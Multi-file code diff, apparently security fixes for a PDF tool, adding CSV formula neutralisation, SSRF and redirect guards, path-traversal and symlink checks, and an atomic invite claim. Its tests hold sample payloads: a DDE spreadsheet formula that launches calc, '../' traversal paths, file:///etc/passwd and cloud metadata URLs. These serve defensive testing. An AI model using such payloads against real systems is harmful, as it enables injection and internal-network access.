// public IP literal as base keeps the SSRF check DNS-free
|
||||
String url = "https://93.184.215.14/page.html";
|
||||
UrlToPdfRequest request = new UrlToPdfRequest();
|
||||
request.setUrlInput(url);
|
||||
|
||||
String html =
|
||||
"<img src=\"data:image/png;base64,AAAA\"><img src=\"/logo.png\">"
|
||||
+ "<rect fill=\"url(#grad)\"/>";
|
||||
|
||||
try (MockedStatic<ProcessExecutor> pe = Mockito.mockStatic(ProcessExecutor.class);
|
||||
MockedStatic<GeneralUtils> gu = Mockito.mockStatic(GeneralUtils.class);
|
||||
MockedStatic<HttpClient> httpClient = mockHttpClientReturning(html)) {
|
||||
|
||||
gu.when(() -> GeneralUtils.isValidURL(url)).thenReturn(true);
|
||||
gu.when(() -> GeneralUtils.isURLReachable(url)).thenReturn(true);
|
||||
gu.when(() -> GeneralUtils.convertToFileName(anyString())).thenReturn("page");
|
||||
gu.when(() -> GeneralUtils.generateFilename(anyString(), anyString()))
|
||||
.thenAnswer(inv -> inv.<String>getArgument(0) + inv.<String>getArgument(1));
|
||||
|
||||
ProcessExecutor mockExec = Mockito.mock(ProcessExecutor.class);
|
||||
pe.when(() -> ProcessExecutor.getInstance(Processes.WEASYPRINT)).thenReturn(mockExec);
|
||||
ProcessExecutorResult dummyResult = Mockito.mock(ProcessExecutorResult.class);
|
||||
when(mockExec.runCommandWithOutputHandling(Mockito.<List>any()))
|
||||
.thenReturn(dummyResult);
|
||||
|
||||
ResponseEntity<?> resp = sut.urlToPdf(request);
|
||||
|
||||
assertEquals(HttpStatus.OK, resp.getStatusCode());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+24
@@ -211,4 +211,28 @@ class ExtractCSVControllerMoreTest {
|
||||
assertThat(body).contains("\"x\"").contains("\"y\"");
|
||||
assertThat(body.getBytes(StandardCharsets.UTF_8)).isNotEmpty();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("formula cells are neutralised while numeric cells survive intact")
|
||||
void csvBodyNeutralisesFormulas() throws Exception {
|
||||
PDFWithPageNums request = new PDFWithPageNums();
|
||||
request.setFileInput(pdf("inject.pdf"));
|
||||
request.setPageNumbers("all");
|
||||
|
||||
when(pdfDocumentFactory.load(request)).thenReturn(docWithPages(1));
|
||||
when(tabulaTableParser.parse(any(PDDocument.class), eq(1)))
|
||||
.thenReturn(
|
||||
List.of(
|
||||
fragment(
|
||||
List.of(
|
||||
List.of("=cmd|'/c calc'!A1", "@SUM(A1)"),
|
||||
List.of("-12.50", "-1,234.00")))));
|
||||
|
||||
ResponseEntity<?> response = controller.pdfToCsv(request);
|
||||
|
||||
String body = response.getBody().toString();
|
||||
assertThat(body).contains("\"'=cmd|'/c calc'!A1\"").contains("\"'@SUM(A1)\"");
|
||||
assertThat(body).contains("\"-12.50\"").contains("\"-1,234.00\"");
|
||||
assertThat(body).doesNotContain("\"'-12.50\"");
|
||||
}
|
||||
}
|
||||
|
||||
+52
@@ -9,11 +9,16 @@ import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.util.List;
|
||||
|
||||
import org.apache.pdfbox.cos.COSName;
|
||||
import org.apache.pdfbox.pdmodel.PDDocument;
|
||||
import org.apache.pdfbox.pdmodel.PDPage;
|
||||
import org.apache.pdfbox.pdmodel.PDResources;
|
||||
import org.apache.pdfbox.pdmodel.common.PDRectangle;
|
||||
import org.apache.pdfbox.pdmodel.interactive.annotation.PDAnnotationWidget;
|
||||
import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm;
|
||||
import org.apache.pdfbox.pdmodel.interactive.form.PDTextField;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Nested;
|
||||
@@ -182,6 +187,20 @@ class FormFillControllerTest {
|
||||
assertThat(csv).contains("Field Name");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("neutralises formula values but leaves numeric values alone")
|
||||
void formulaValuesAreNeutralised() throws Exception {
|
||||
MockMultipartFile file = pdfFile();
|
||||
PDDocument doc = createPdfWithTextFields();
|
||||
when(pdfDocumentFactory.load(eq(file), eq(true))).thenReturn(doc);
|
||||
|
||||
ResponseEntity<byte[]> response = controller.extractCsv(file, null);
|
||||
|
||||
String csv = new String(response.getBody());
|
||||
assertThat(csv).contains("'=cmd|'/c calc'!A1");
|
||||
assertThat(csv).contains("-1,234.00").doesNotContain("'-1,234.00");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("throws for null file")
|
||||
void nullFile() {
|
||||
@@ -190,6 +209,39 @@ class FormFillControllerTest {
|
||||
}
|
||||
}
|
||||
|
||||
private PDDocument createPdfWithTextFields() throws IOException {
|
||||
PDDocument doc = new PDDocument();
|
||||
PDPage page = new PDPage(PDRectangle.A4);
|
||||
doc.addPage(page);
|
||||
|
||||
PDAcroForm acroForm = new PDAcroForm(doc);
|
||||
acroForm.setDefaultResources(new PDResources());
|
||||
acroForm.setNeedAppearances(true);
|
||||
doc.getDocumentCatalog().setAcroForm(acroForm);
|
||||
|
||||
addTextField(
|
||||
acroForm, page, "payload", "=cmd|'/c calc'!A1", new PDRectangle(50, 700, 200, 20));
|
||||
addTextField(acroForm, page, "balance", "-1,234.00", new PDRectangle(50, 660, 200, 20));
|
||||
return doc;
|
||||
}
|
||||
|
||||
private static void addTextField(
|
||||
PDAcroForm acroForm, PDPage page, String name, String value, PDRectangle rectangle)
|
||||
throws IOException {
|
||||
PDTextField field = new PDTextField(acroForm);
|
||||
field.setPartialName(name);
|
||||
|
||||
PDAnnotationWidget widget = new PDAnnotationWidget();
|
||||
widget.setRectangle(rectangle);
|
||||
widget.setPage(page);
|
||||
field.setWidgets(List.of(widget));
|
||||
|
||||
acroForm.getFields().add(field);
|
||||
page.getAnnotations().add(widget);
|
||||
// Set /V directly; setValue would need a default appearance we do not care about here
|
||||
field.getCOSObject().setString(COSName.V, value);
|
||||
}
|
||||
|
||||
// ── extractXlsx ────────────────────────────────────────────────────
|
||||
|
||||
@Nested
|
||||
|
||||
+205
@@ -0,0 +1,205 @@
|
||||
package stirling.software.SPDF.controller.api.pipeline;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.junit.jupiter.api.Assumptions.assumeTrue;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.List;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Nested;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.junit.jupiter.api.io.TempDir;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.mockito.junit.jupiter.MockitoSettings;
|
||||
import org.mockito.quality.Strictness;
|
||||
|
||||
import stirling.software.SPDF.model.PipelineConfig;
|
||||
import stirling.software.SPDF.service.ApiDocService;
|
||||
import stirling.software.common.configuration.RuntimePathConfig;
|
||||
import stirling.software.common.service.PostHogService;
|
||||
import stirling.software.common.service.ToolMetadataService;
|
||||
import stirling.software.common.util.FileReadinessChecker;
|
||||
|
||||
import tools.jackson.databind.ObjectMapper;
|
||||
|
||||
/**
|
||||
* Unit tests for the path containment rules in {@link PipelineDirectoryProcessor}: relative output
|
||||
* directories must stay under the finished folders base, and files collected from a watched folder
|
||||
* must not resolve outside it via symlinks.
|
||||
*/
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
@MockitoSettings(strictness = Strictness.LENIENT)
|
||||
class PipelineDirectoryProcessorTest {
|
||||
|
||||
@Mock private ApiDocService apiDocService;
|
||||
|
||||
@Mock private ToolMetadataService toolMetadataService;
|
||||
|
||||
@Mock private PipelineProcessor processor;
|
||||
|
||||
@Mock private PostHogService postHogService;
|
||||
|
||||
@Mock private FileReadinessChecker fileReadinessChecker;
|
||||
|
||||
@Mock private RuntimePathConfig runtimePathConfig;
|
||||
|
||||
@TempDir Path tempDir;
|
||||
|
||||
private Path watchedRoot;
|
||||
private Path finishedFolders;
|
||||
private PipelineDirectoryProcessor directoryProcessor;
|
||||
|
||||
@BeforeEach
|
||||
void setUp() throws IOException {
|
||||
watchedRoot = Files.createDirectories(tempDir.resolve("watched"));
|
||||
finishedFolders = Files.createDirectories(tempDir.resolve("finished"));
|
||||
when(runtimePathConfig.getPipelineWatchedFoldersPaths())
|
||||
.thenReturn(List.of(watchedRoot.toString()));
|
||||
when(runtimePathConfig.getPipelineFinishedFoldersPath())
|
||||
.thenReturn(finishedFolders.toString());
|
||||
directoryProcessor =
|
||||
new PipelineDirectoryProcessor(
|
||||
new ObjectMapper(),
|
||||
apiDocService,
|
||||
toolMetadataService,
|
||||
processor,
|
||||
postHogService,
|
||||
fileReadinessChecker,
|
||||
runtimePathConfig);
|
||||
}
|
||||
|
||||
private PipelineConfig configWithOutputDir(String outputDir) {
|
||||
PipelineConfig config = new PipelineConfig();
|
||||
config.setOutputDir(outputDir);
|
||||
return config;
|
||||
}
|
||||
|
||||
/** Symlink creation needs elevated rights on Windows; skip rather than fail there. */
|
||||
private Path linkOrSkip(Path link, Path target) {
|
||||
try {
|
||||
return Files.createSymbolicLink(link, target);
|
||||
} catch (IOException | UnsupportedOperationException e) {
|
||||
assumeTrue(false, "Symlinks unsupported in this environment: " + e.getMessage());
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
@DisplayName("determineOutputPath")
|
||||
class DetermineOutputPath {
|
||||
|
||||
@Test
|
||||
@DisplayName("keeps an explicitly configured absolute path untouched")
|
||||
void absolutePathIsUnchanged() {
|
||||
Path absolute = tempDir.resolve("elsewhere");
|
||||
PipelineConfig config = configWithOutputDir(absolute.toString());
|
||||
|
||||
assertEquals(
|
||||
absolute,
|
||||
directoryProcessor.determineOutputPath(config, watchedRoot.resolve("job")));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("expands {outputFolder} to the finished folders base")
|
||||
void outputFolderPlaceholderResolvesToBase() {
|
||||
PipelineConfig config = configWithOutputDir("{outputFolder}");
|
||||
|
||||
assertEquals(
|
||||
finishedFolders,
|
||||
directoryProcessor.determineOutputPath(config, watchedRoot.resolve("job")));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("anchors a relative path under the finished folders base")
|
||||
void relativePathIsAnchoredUnderBase() {
|
||||
PipelineConfig config = configWithOutputDir("reports");
|
||||
|
||||
assertEquals(
|
||||
finishedFolders.resolve("reports"),
|
||||
directoryProcessor.determineOutputPath(config, watchedRoot.resolve("job")));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("falls back to the base when a relative path traverses out of it")
|
||||
void traversalFallsBackToBase() {
|
||||
PipelineConfig config = configWithOutputDir("../../tmp/evil");
|
||||
|
||||
assertEquals(
|
||||
finishedFolders,
|
||||
directoryProcessor.determineOutputPath(config, watchedRoot.resolve("job")));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("allows a relative path that dips out and back inside the base")
|
||||
void relativePathStayingInsideBaseIsKept() {
|
||||
PipelineConfig config = configWithOutputDir("nested/../reports");
|
||||
|
||||
assertEquals(
|
||||
finishedFolders.resolve("reports"),
|
||||
directoryProcessor.determineOutputPath(config, watchedRoot.resolve("job")));
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
@DisplayName("isInsideWatchedRoot")
|
||||
class IsInsideWatchedRoot {
|
||||
|
||||
@Test
|
||||
@DisplayName("accepts a plain file inside the watched folder")
|
||||
void acceptsPlainFile() throws IOException {
|
||||
Path dir = Files.createDirectories(watchedRoot.resolve("job"));
|
||||
Path file = Files.createFile(dir.resolve("input.pdf"));
|
||||
|
||||
assertTrue(directoryProcessor.isInsideWatchedRoot(file, dir, watchedRoot));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("accepts a symlink whose target is still inside the watched root")
|
||||
void acceptsSymlinkInsideWatchedRoot() throws IOException {
|
||||
Path dir = Files.createDirectories(watchedRoot.resolve("job"));
|
||||
Path target = Files.createFile(watchedRoot.resolve("shared.pdf"));
|
||||
Path link = linkOrSkip(dir.resolve("input.pdf"), target);
|
||||
|
||||
assertTrue(directoryProcessor.isInsideWatchedRoot(link, dir, watchedRoot));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("accepts files under a watched subfolder symlinked to a mounted share")
|
||||
void acceptsFilesUnderSymlinkedSubfolder() throws IOException {
|
||||
Path share = Files.createDirectories(tempDir.resolve("mounted-share"));
|
||||
Path file = Files.createFile(share.resolve("input.pdf"));
|
||||
Path dir = linkOrSkip(watchedRoot.resolve("job"), share);
|
||||
Path viaLink = dir.resolve(file.getFileName());
|
||||
|
||||
assertTrue(directoryProcessor.isInsideWatchedRoot(viaLink, dir, watchedRoot));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("rejects a symlink pointing outside the watched root")
|
||||
void rejectsEscapingSymlink() throws IOException {
|
||||
Path dir = Files.createDirectories(watchedRoot.resolve("job"));
|
||||
Path secret = Files.createFile(tempDir.resolve("secret.pdf"));
|
||||
Path link = linkOrSkip(dir.resolve("input.pdf"), secret);
|
||||
|
||||
assertFalse(directoryProcessor.isInsideWatchedRoot(link, dir, watchedRoot));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("rejects a broken symlink without throwing")
|
||||
void rejectsBrokenSymlink() throws IOException {
|
||||
Path dir = Files.createDirectories(watchedRoot.resolve("job"));
|
||||
Path link = linkOrSkip(dir.resolve("input.pdf"), tempDir.resolve("missing.pdf"));
|
||||
|
||||
assertFalse(directoryProcessor.isInsideWatchedRoot(link, dir, watchedRoot));
|
||||
}
|
||||
}
|
||||
}
|
||||
+150
-3
@@ -36,6 +36,7 @@ import org.bouncycastle.operator.jcajce.JcaContentSignerBuilder;
|
||||
import org.bouncycastle.operator.jcajce.JcaDigestCalculatorProviderBuilder;
|
||||
import org.bouncycastle.util.CollectionStore;
|
||||
import org.bouncycastle.util.Store;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
@@ -46,11 +47,14 @@ import org.springframework.core.io.ClassPathResource;
|
||||
import stirling.software.common.model.ApplicationProperties;
|
||||
import stirling.software.common.service.ServerCertificateServiceInterface;
|
||||
|
||||
import okhttp3.mockwebserver.MockResponse;
|
||||
import okhttp3.mockwebserver.MockWebServer;
|
||||
|
||||
/**
|
||||
* Additional coverage for {@link CertificateValidationService} that drives the real X.509 /
|
||||
* KeyStore machinery with the bundled test fixtures, exercises trust-store initialization, and
|
||||
* reaches the private trust-list parsers via reflection. Network paths are only hit with file://
|
||||
* URLs so no real connection is ever opened.
|
||||
* reaches the private trust-list parsers via reflection. The only connections opened are to a
|
||||
* loopback {@link MockWebServer}; no real network access occurs.
|
||||
*/
|
||||
@DisplayName("CertificateValidationService (more) Tests")
|
||||
class CertificateValidationServiceMoreTest {
|
||||
@@ -430,7 +434,7 @@ class CertificateValidationServiceMoreTest {
|
||||
ApplicationProperties props = defaultProps();
|
||||
props.getSecurity().getValidation().getTrust().setUseAATL(true);
|
||||
props.getSecurity().getValidation().getTrust().setUseEUTL(true);
|
||||
// file:// is not an HttpURLConnection, so the download helpers return null safely.
|
||||
// file:// fails the trust-list URL guard, so no connection is ever opened.
|
||||
props.getSecurity().getValidation().getAatl().setUrl("file:///does-not-exist.pdf");
|
||||
props.getSecurity().getValidation().getEutl().setLotlUrl("file:///does-not-exist.xml");
|
||||
CertificateValidationService svc = newService(props);
|
||||
@@ -664,6 +668,149 @@ class CertificateValidationServiceMoreTest {
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- SSRF guard on trust-list downloads ----------
|
||||
|
||||
@Nested
|
||||
@DisplayName("Trust-list download SSRF guard")
|
||||
class TrustListSsrfGuardTests {
|
||||
|
||||
private final CertificateValidationService svc = newService(defaultProps());
|
||||
|
||||
private boolean allowed(String url) throws Exception {
|
||||
return invokePrivate(svc, "isTrustListUrlAllowed", new Class<?>[] {String.class}, url);
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Public http(s) hosts are still fetched")
|
||||
void allowsPublicHosts() throws Exception {
|
||||
assertThat(allowed("https://93.184.216.34/tsl.xml")).isTrue();
|
||||
assertThat(allowed("http://93.184.216.34:8080/tsl.xml")).isTrue();
|
||||
// Scheme comparison is case-insensitive
|
||||
assertThat(allowed("HTTPS://93.184.216.34/tsl.xml")).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Only http and https are fetched")
|
||||
void rejectsOtherSchemes() throws Exception {
|
||||
assertThat(allowed("file:///etc/passwd")).isFalse();
|
||||
assertThat(allowed("ftp://93.184.216.34/tsl.xml")).isFalse();
|
||||
assertThat(allowed("jar:file:///tmp/x.jar!/tsl.xml")).isFalse();
|
||||
assertThat(allowed("/tsl.xml")).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("URLs without a usable host are rejected")
|
||||
void rejectsMissingHost() throws Exception {
|
||||
assertThat(allowed("http:///tsl.xml")).isFalse();
|
||||
assertThat(allowed("http://exa mple.test/tsl.xml")).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Internal IPv4 destinations are rejected")
|
||||
void rejectsInternalIpv4() throws Exception {
|
||||
for (String host :
|
||||
new String[] {
|
||||
"127.0.0.1",
|
||||
"0.0.0.0",
|
||||
"10.0.0.1",
|
||||
"172.16.0.1",
|
||||
"192.168.1.1",
|
||||
"100.64.0.1",
|
||||
"169.254.1.1"
|
||||
}) {
|
||||
assertThat(allowed("http://" + host + "/tsl.xml")).as(host).isFalse();
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Cloud metadata endpoints are rejected")
|
||||
void rejectsCloudMetadata() throws Exception {
|
||||
assertThat(allowed("http://169.254.169.254/latest/meta-data/")).isFalse();
|
||||
assertThat(allowed("http://169.254.169.253/tsl.xml")).isFalse();
|
||||
assertThat(allowed("http://169.254.169.250/tsl.xml")).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Internal IPv6 destinations, including transition forms, are rejected")
|
||||
void rejectsInternalIpv6() throws Exception {
|
||||
for (String host :
|
||||
new String[] {
|
||||
"[::1]", "[fe80::1]", "[fd00::1]", "[::ffff:127.0.0.1]", "[2002:a00:1::]"
|
||||
}) {
|
||||
assertThat(allowed("http://" + host + "/tsl.xml")).as(host).isFalse();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- redirect handling on trust-list downloads ----------
|
||||
|
||||
@Nested
|
||||
@DisplayName("Trust-list download redirects")
|
||||
class TrustListRedirectTests {
|
||||
|
||||
private MockWebServer server;
|
||||
private CertificateValidationService svc;
|
||||
|
||||
@BeforeEach
|
||||
void startServer() throws Exception {
|
||||
server = new MockWebServer();
|
||||
server.start();
|
||||
// MockWebServer binds to loopback, so only the loopback rules are relaxed here
|
||||
ApplicationProperties props = defaultProps();
|
||||
var urlSecurity = props.getSystem().getHtml().getUrlSecurity();
|
||||
urlSecurity.setBlockLocalhost(false);
|
||||
urlSecurity.setBlockPrivateNetworks(false);
|
||||
svc = newService(props);
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
void stopServer() throws Exception {
|
||||
server.shutdown();
|
||||
}
|
||||
|
||||
private byte[] downloadXml(String url) throws Exception {
|
||||
return invokePrivate(svc, "downloadXml", new Class<?>[] {String.class}, url);
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("A redirect to an allowed target is followed")
|
||||
void followsAllowedRedirect() throws Exception {
|
||||
server.enqueue(new MockResponse().setResponseCode(302).setHeader("Location", "/final"));
|
||||
server.enqueue(new MockResponse().setResponseCode(200).setBody("<TSL/>"));
|
||||
|
||||
byte[] body = downloadXml(server.url("/tsl.xml").toString());
|
||||
|
||||
assertThat(body).isNotNull();
|
||||
assertThat(new String(body, StandardCharsets.UTF_8)).isEqualTo("<TSL/>");
|
||||
assertThat(server.getRequestCount()).isEqualTo(2);
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("A redirect to a blocked target is not followed")
|
||||
void rejectsRedirectToBlockedTarget() throws Exception {
|
||||
server.enqueue(
|
||||
new MockResponse()
|
||||
.setResponseCode(302)
|
||||
.setHeader("Location", "http://169.254.169.254/latest/meta-data/"));
|
||||
|
||||
assertThat(downloadXml(server.url("/tsl.xml").toString())).isNull();
|
||||
assertThat(server.getRequestCount()).isEqualTo(1);
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Redirect chains stop after the hop budget")
|
||||
void stopsAfterRedirectBudget() throws Exception {
|
||||
for (int i = 0; i < 6; i++) {
|
||||
server.enqueue(
|
||||
new MockResponse().setResponseCode(302).setHeader("Location", "/next"));
|
||||
}
|
||||
|
||||
assertThat(downloadXml(server.url("/tsl.xml").toString())).isNull();
|
||||
// The initial request plus three redirects
|
||||
assertThat(server.getRequestCount()).isEqualTo(4);
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- extractValidationTime with real CMS ----------
|
||||
|
||||
@Nested
|
||||
|
||||
+4
-2
@@ -36,6 +36,7 @@ import io.swagger.v3.oas.annotations.tags.Tag;
|
||||
import lombok.RequiredArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
|
||||
import stirling.software.common.util.CsvUtils;
|
||||
import stirling.software.proprietary.audit.AuditEventType;
|
||||
import stirling.software.proprietary.model.api.audit.AuditDataRequest;
|
||||
import stirling.software.proprietary.model.api.audit.AuditDataResponse;
|
||||
@@ -348,8 +349,9 @@ public class AuditDashboardController {
|
||||
if (field == null) {
|
||||
return "";
|
||||
}
|
||||
// Replace double quotes with two double quotes and wrap in quotes
|
||||
return "\"" + field.replace("\"", "\"\"") + "\"";
|
||||
// Neutralise formulas first, then replace double quotes with two and wrap in quotes
|
||||
String safe = CsvUtils.neutraliseFormula(field);
|
||||
return "\"" + safe.replace("\"", "\"\"") + "\"";
|
||||
}
|
||||
|
||||
private List<PersistentAuditEvent> getAuditEventsByCriteria(AuditExportRequest request) {
|
||||
|
||||
+4
-2
@@ -26,6 +26,7 @@ import lombok.RequiredArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
|
||||
import stirling.software.common.annotations.api.ProprietaryUiDataApi;
|
||||
import stirling.software.common.util.CsvUtils;
|
||||
import stirling.software.proprietary.audit.AuditEventType;
|
||||
import stirling.software.proprietary.model.security.PersistentAuditEvent;
|
||||
import stirling.software.proprietary.repository.PersistentAuditEventRepository;
|
||||
@@ -802,8 +803,9 @@ public class AuditRestController {
|
||||
if (field == null) {
|
||||
return "";
|
||||
}
|
||||
// Replace double quotes with two double quotes and wrap in quotes
|
||||
return "\"" + field.replace("\"", "\"\"") + "\"";
|
||||
// Neutralise formulas first, then replace double quotes with two and wrap in quotes
|
||||
String safe = CsvUtils.neutraliseFormula(field);
|
||||
return "\"" + safe.replace("\"", "\"\"") + "\"";
|
||||
}
|
||||
|
||||
// DTOs for response formatting
|
||||
|
||||
+14
-13
@@ -7,6 +7,9 @@ import java.util.*;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.security.access.prepost.PreAuthorize;
|
||||
import org.springframework.transaction.annotation.Transactional;
|
||||
import org.springframework.transaction.interceptor.TransactionAspectSupport;
|
||||
import org.springframework.transaction.support.TransactionSynchronizationManager;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
@@ -399,6 +402,7 @@ public class InviteLinkController {
|
||||
* @param password The password to set for the new account
|
||||
* @return Success or error response
|
||||
*/
|
||||
@Transactional
|
||||
@PostMapping("/accept/{token}")
|
||||
public ResponseEntity<?> acceptInvite(
|
||||
@PathVariable String token,
|
||||
@@ -419,14 +423,6 @@ public class InviteLinkController {
|
||||
|
||||
InviteToken invite = inviteOpt.get();
|
||||
|
||||
if (invite.isUsed()) {
|
||||
return invalidInviteResponse();
|
||||
}
|
||||
|
||||
if (invite.isExpired()) {
|
||||
return invalidInviteResponse();
|
||||
}
|
||||
|
||||
// Determine the email to use
|
||||
String effectiveEmail = invite.getEmail();
|
||||
if (effectiveEmail == null) {
|
||||
@@ -450,6 +446,12 @@ public class InviteLinkController {
|
||||
return invalidInviteResponse();
|
||||
}
|
||||
|
||||
// Claim the invite atomically before creating the account, so two concurrent
|
||||
// redemptions of the same link cannot both succeed (GHSA-rmrr-v9p4-qqvc)
|
||||
if (inviteTokenRepository.consumeIfUnused(token, LocalDateTime.now()) != 1) {
|
||||
return invalidInviteResponse();
|
||||
}
|
||||
|
||||
// Create the user account
|
||||
SaveUserRequest.Builder builder =
|
||||
SaveUserRequest.builder()
|
||||
@@ -459,11 +461,6 @@ public class InviteLinkController {
|
||||
.role(invite.getRole());
|
||||
userService.saveUserCore(builder.build());
|
||||
|
||||
// Mark invite as used
|
||||
invite.setUsed(true);
|
||||
invite.setUsedAt(LocalDateTime.now());
|
||||
inviteTokenRepository.save(invite);
|
||||
|
||||
log.info(
|
||||
"User account created via invite link: {} with role: {}",
|
||||
effectiveEmail,
|
||||
@@ -473,6 +470,10 @@ public class InviteLinkController {
|
||||
Map.of("message", "Account created successfully", "username", effectiveEmail));
|
||||
|
||||
} catch (Exception e) {
|
||||
// Undo the claim so a failed account creation does not burn the invite
|
||||
if (TransactionSynchronizationManager.isActualTransactionActive()) {
|
||||
TransactionAspectSupport.currentTransactionStatus().setRollbackOnly();
|
||||
}
|
||||
log.error("Failed to accept invite: {}", e.getMessage(), e);
|
||||
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||
.body(Map.of("error", "Failed to create account"));
|
||||
|
||||
+2
-107
@@ -3,10 +3,8 @@ package stirling.software.proprietary.security.oauth2;
|
||||
import static stirling.software.proprietary.security.model.AuthenticationType.OAUTH2;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.URI;
|
||||
import java.sql.SQLException;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
|
||||
import org.springframework.http.HttpHeaders;
|
||||
import org.springframework.http.ResponseCookie;
|
||||
@@ -37,6 +35,7 @@ import stirling.software.proprietary.security.service.JwtServiceInterface;
|
||||
import stirling.software.proprietary.security.service.LoginAttemptService;
|
||||
import stirling.software.proprietary.security.service.UserService;
|
||||
import stirling.software.proprietary.security.util.DesktopClientUtils;
|
||||
import stirling.software.proprietary.security.util.SsoRedirectOriginResolver;
|
||||
|
||||
@Slf4j
|
||||
@RequiredArgsConstructor
|
||||
@@ -217,12 +216,7 @@ public class CustomOAuth2AuthenticationSuccessHandler
|
||||
String contextPath,
|
||||
String jwt) {
|
||||
String redirectPath = resolveRedirectPath(request, contextPath);
|
||||
String origin =
|
||||
resolveForwardedOrigin(request)
|
||||
.orElseGet(
|
||||
() ->
|
||||
resolveOriginFromReferer(request)
|
||||
.orElseGet(() -> buildOriginFromRequest(request)));
|
||||
String origin = SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties);
|
||||
clearRedirectCookie(response);
|
||||
|
||||
// Extract nonce from state for CSRF validation in callback
|
||||
@@ -248,89 +242,6 @@ public class CustomOAuth2AuthenticationSuccessHandler
|
||||
return TauriOAuthUtils.defaultCallbackPath(contextPath);
|
||||
}
|
||||
|
||||
private Optional<String> resolveForwardedOrigin(HttpServletRequest request) {
|
||||
String forwardedHostHeader = request.getHeader("X-Forwarded-Host");
|
||||
if (forwardedHostHeader == null || forwardedHostHeader.isBlank()) {
|
||||
return Optional.empty();
|
||||
}
|
||||
String host = forwardedHostHeader.split(",")[0].trim();
|
||||
if (host.isEmpty()) {
|
||||
return Optional.empty();
|
||||
}
|
||||
|
||||
String forwardedProtoHeader = request.getHeader("X-Forwarded-Proto");
|
||||
String proto =
|
||||
(forwardedProtoHeader == null || forwardedProtoHeader.isBlank())
|
||||
? request.getScheme()
|
||||
: forwardedProtoHeader.split(",")[0].trim();
|
||||
|
||||
if (!host.contains(":")) {
|
||||
String forwardedPort = request.getHeader("X-Forwarded-Port");
|
||||
if (forwardedPort != null
|
||||
&& !forwardedPort.isBlank()
|
||||
&& !isDefaultPort(proto, forwardedPort.trim())) {
|
||||
host = host + ":" + forwardedPort.trim();
|
||||
}
|
||||
}
|
||||
return Optional.of(proto + "://" + host);
|
||||
}
|
||||
|
||||
private Optional<String> resolveOriginFromReferer(HttpServletRequest request) {
|
||||
String referer = request.getHeader("Referer");
|
||||
if (referer != null && !referer.isEmpty()) {
|
||||
try {
|
||||
URI refererUri = URI.create(referer);
|
||||
String host = refererUri.getHost();
|
||||
if (host == null) {
|
||||
return Optional.empty();
|
||||
}
|
||||
|
||||
String refererHost = host.toLowerCase();
|
||||
|
||||
if (!isOAuthProviderDomain(refererHost)) {
|
||||
String origin = refererUri.getScheme() + "://" + host;
|
||||
int port = refererUri.getPort();
|
||||
if (port != -1 && port != 80 && port != 443) {
|
||||
origin += ":" + port;
|
||||
}
|
||||
return Optional.of(origin);
|
||||
}
|
||||
} catch (IllegalArgumentException e) {
|
||||
// ignore and fall back
|
||||
}
|
||||
}
|
||||
return Optional.empty();
|
||||
}
|
||||
|
||||
private String buildOriginFromRequest(HttpServletRequest request) {
|
||||
String scheme = request.getScheme();
|
||||
